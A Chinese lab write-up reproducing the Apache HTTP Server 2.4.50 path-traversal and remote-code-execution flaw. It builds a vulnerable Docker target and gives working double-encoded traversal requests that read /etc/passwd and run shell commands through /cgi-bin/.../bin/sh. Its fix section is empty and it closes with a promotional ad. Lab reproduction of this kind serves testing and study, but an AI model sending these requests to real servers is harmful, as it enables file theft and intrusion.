一、漏洞描述
Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。
二、影响版本
三、靶场准备
mkdir Dockerfile //在空目录里面创建Dockerfile目录cd Dockerfile //进入Dockerfile目录vi Dockerfile //创建文件Dockerfil并编写

DockerFile文件内容:
FROM httpd:2.4.50RUN set -ex \&& sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" usr/local/apache2/conf/httpd.conf \&& sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" usr/local/apache2/conf/httpd.conf \&& sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" usr/local/apache2/conf/httpd.conf \&& cat usr/local/apache2/conf/httpd.conf \| tr '\n' '\r' \| perl -pe 's|<Directory >.*?</Directory>|<Directory >\n AllowOverride none\n Require all granted\n</Directory>|isg' \| tr '\r' '\n' \| tee tmp/httpd.conf \&& mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf
接下来在 Dockerfile 文件的存放目录下,执行构建动作。
以下示例,通过目录下的 Dockerfile 构建一个 httpd:2.4.50rce(镜像名称:镜像标签)。
注:最后的 . 代表本次执行的上下文路径。
docker build -t httpd:2.4.50rce .


运行docker
docker run -d -p 83:80 httpd:2.4.50rce

之后就可以通过浏览器访问量(如果浏览器访问不了,重新启动实验机后再启动docker就可以解决该问题)

四、POC测试
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1Host: 192.168.241.142:83User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1X-Forwarded-For: 8.8.8.8Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMTIf-None-Match: "2d-432a5e4a73a80"Cache-Control: max-age=0

curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
或者
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1Host: 192.168.241.142:83User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1X-Forwarded-For: 8.8.8.8Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMTIf-None-Match: "2d-432a5e4a73a80"Cache-Control: max-age=0Content-Length: 7echo;id

另外有检测工具,可以直接检测和getshell:


五、漏洞修复
更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥

文章转载自W小哥,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




